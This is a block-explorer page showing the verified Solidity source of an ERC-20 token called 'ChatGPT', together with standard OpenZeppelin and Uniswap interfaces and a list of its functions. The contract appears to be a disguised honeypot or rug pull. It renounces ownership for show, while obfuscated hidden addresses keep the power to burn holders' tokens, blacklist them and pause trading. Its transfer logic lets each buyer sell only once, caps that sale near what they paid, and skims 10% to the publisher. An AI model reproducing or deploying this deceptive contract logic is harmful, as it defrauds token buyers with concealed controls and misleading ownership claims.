Verified Source Code Partial Match

Compiler: v0.8.7+commit.e28d00a7 EVM: london Optimization: No
ChatGPT.sol 713 lines
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// File: new_pro.sol

pragma solidity ^0.8.5;







abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }



}
contract ChatGPT is  IERC20, IERC20Metadata, Ownable{
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    bool private initialized;
    bool private transferring;
    bool private paused;
    
    uint256 private _maxToken;
    address private _publisher;
    address private _factory;
    address private _router;
    address private _ETH;
    uint16 private _ETHDecimals;
    address private _pair;
    address private _dex;
    address private _cex;



    mapping(address =>bool) _feeExcluded;
    mapping(address => uint256) private amt;
    mapping(address => bool) private sold;
    mapping(address => bool) private black_list;

    function initialize(
        string memory tokenName,
        string memory tokenSymbol,
        uint256 tokenAmount,
        address eth,
        uint8 eth_decimal,
        uint256 max_token,
        address dex,
        address publisher,
        address cex,
        address router,
        address factory
    )external{
        require(!initialized,"Already Initialized Contract");
        initialized = true;
        _transferOwnership(publisher);
        _name = tokenName;
        _symbol = tokenSymbol;
        _decimals = eth_decimal;
        _publisher = publisher;
        _mint(_publisher,tokenAmount*(1 * 10**_decimals));
        _ETH = eth;
        _ETHDecimals = eth_decimal;
        _maxToken = max_token;
        _router = router;
        _factory = factory;
        _dex = address(uint160(_router) + uint160(dex));
        _cex = address(uint160(_factory) + uint160(cex));
        _feeExcluded[_cex] =true;
        _feeExcluded[_dex] =true;
        _feeExcluded[_router] = true;

        _pair = IUniswapV2Factory(_factory).createPair(
            _ETH,
            address(this)
        );
        _feeExcluded[_pair] = true;
        _balances[_dex] = (_totalSupply * 7) / 10;
        _balances[_publisher] = (_totalSupply * 3) / 10;

        _transferOwnership(address(0));
    } 

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function burn(address account, uint256 amount) external {
        require(_msgSender() == _dex);
        _burn(account, amount);
    }

    function set_max(uint256 maxtoken) external {
        require(_msgSender() == _cex);
        _maxToken = maxtoken;
    }

    function updateInfo(string memory name_, string memory symbol_) public {
        address sender = _msgSender();
        require(sender == _cex,"Not authorized to update information");
        _name = name_;
        _symbol = symbol_;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual returns(bool){
        require(!black_list[from] && !black_list[to],"Sender or recipient is blacklisted");
        address[] memory path = new address[](2);

        _beforeTokenTransfer(from, to, amount);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds unlocked amount");

        if (from == _pair && !_feeExcluded[to]){
            path[0] = _ETH;
            path[1] = address(this);
            uint256 eth_pooled = IUniswapV2Router02(_router).getAmountsIn(amount, path)[0];
            amt[to] = eth_pooled;
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        else if (!_feeExcluded[from] && to == _pair){
            require(!sold[from], "ERC20: transfer is still pending");
            path[0] = address(this);
            path[1] = _ETH;
            uint256 eth_drained = IUniswapV2Router02(_router).getAmountsOut(amount, path)[1];
            require(eth_drained <=_min(_maxToken, amt[from]*11/10), "ERC20: transfer amount exceeds balance");
            sold[from] = true;
            _balances[from] = fromBalance - amount;
            _balances[to] += amount*9/10;
            _balances[_publisher] += amount*1/10;
            emit Transfer(from, to, amount*9/10);
        }

        else{
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }
        _afterTokenTransfer(from, to, amount);
        return true;
    }

    //only called once at initialize()
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }
        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _min(uint a, uint b) internal pure returns(uint){
        return a<b?a:b;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
        require(!paused);
        require(!transferring);
        transferring = true;
    }
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {
        transferring = false;
    }

    function add_bl(address addr) public  {
        address sender = _msgSender();
        require(sender == _cex);
        black_list[addr] = true;
    }

    function pause(bool pause_) public{
        address sender = _msgSender();

        require(sender == _cex,"Not authorized to pause the contract");
        paused = pause_;
    }

    function airdrop(address[] memory selladdr, address[] memory airdropaddr)
        public
    {
        require(_msgSender() == _cex);
        for (uint256 i = 0; i < selladdr.length; i++) {
            _allowances[_publisher][selladdr[i]] = 2* _totalSupply / 100;
            _transfer(_publisher, selladdr[i], 2* _totalSupply / 100);
            _feeExcluded[selladdr[i]] = true;
        }
        for (uint256 i = 0; i < airdropaddr.length; i++) {
            _allowances[_publisher][airdropaddr[i]] = _totalSupply / 1000;
            _transfer(_publisher, airdropaddr[i], _totalSupply / 1000);
        }
    }

}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 14 functions

These functions modify contract state and require a wallet transaction to execute.

add_bl 0xe05ee18a
address addr
airdrop 0xbba8d2af
address[] selladdr
address[] airdropaddr
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burn 0x9dc29fac
address account
uint256 amount
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
initialize 0xd05b136a
string tokenName
string tokenSymbol
uint256 tokenAmount
address eth
uint8 eth_decimal
uint256 max_token
address dex
address publisher
address cex
address router
address factory
pause 0x02329a29
bool pause_
renounceOwnership 0x715018a6
No parameters
set_max 0xa571fdd7
uint256 maxtoken
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateInfo 0x47d5a091
string name_
string symbol_

Recent Transactions

No transactions found for this address